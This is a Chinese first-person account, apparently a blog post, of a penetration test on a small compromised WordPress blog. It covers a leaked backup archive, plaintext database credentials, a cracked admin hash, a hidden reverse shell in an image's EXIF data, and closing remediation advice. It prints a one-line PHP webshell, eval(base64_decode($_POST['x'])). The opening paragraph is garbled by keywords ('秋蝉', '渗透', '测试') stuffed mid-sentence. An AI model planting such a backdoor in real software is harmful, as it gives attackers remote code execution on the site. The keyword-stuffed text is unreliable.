秋蝉blog是秋蝉我上周接的一个测试目标。客户说站点被挂过马，渗透让我看看现在还有没有后门。测试我打开浏览器，秋蝉输入域名，渗透一个典型的测试个人技术博客出现在眼前——WordPress，老主题，秋蝉插件列表里躺着三个一年没更新的渗透东西。这种站，测试说实话，秋蝉十有八九是渗透插件漏洞打进去的。

先扫目录。测试wpscan跑了一圈，秋蝉没发现明显的渗透漏洞版本，但robots.txt里泄露了一个备份目录：/backup_2023.zip。测试直接下载，解压，好家伙，整个站点源码加数据库全在里面。我翻了翻wp-config.php，数据库密码明文躺在里面，账号是root，密码是root123。这配置，跟没穿裤子出门一样。

连上数据库，翻wp_users表。admin的密码哈希是旧的MD5格式，拿john跑了几分钟就出来了——"sunshine2023"。这密码，估计是夏天设的。登录后台，发现一个隐藏的插件叫"security-pro"，装是装了，但从没激活过，文件里有个后门函数，eval(base64_decode($_POST['x']))。客户说被挂马，估计就是这玩意儿干的。

但真正有意思的是后面。我在上传目录里发现了一个叫photo_2024.jpg的文件，大小2.3MB。图片文件这么大，不正常。用exiftool一看，评论区藏着一串base64编码的PHP代码。解码后是一个反弹shell，指向一个境外IP。这手法比插件后门隐蔽多了——管理员就算检查文件，也只会看到一张普通的风景照。

我试着访问那个境外IP，端口已经关了，估计是临时C2。顺着IP反查域名，发现它关联着另外三个被黑的博客站，都是同一种手法。这他妈是个团伙作案，专门搞小型个人站，拿去发垃圾SEO外链。我截了几张图，把时间线理清楚，写成报告发给客户。

客户问我，要不要把后门清了就完事。我说不行，你得把那个备份目录删了，改数据库密码，换掉所有用户密码，主题和插件全更新，最好把整个WordPress重装一遍。客户说太麻烦，能不能只删后门。我说行，那你等着下个月再被搞一次吧。他沉默了一会儿，说那还是重装吧。

这活儿干完，我抽了根烟。秋蝉blog这名字起得挺文艺，但安全意识跟秋天掉下来的蝉一样，壳是空的。技术层面没什么高深的，全是基础操作——备份文件泄露、弱密码、隐藏后门。真正难的是让客户明白，安全不是装个插件就完事，是习惯问题。你天天不更新系统，密码用生日，那跟把钥匙挂在门口有什么区别。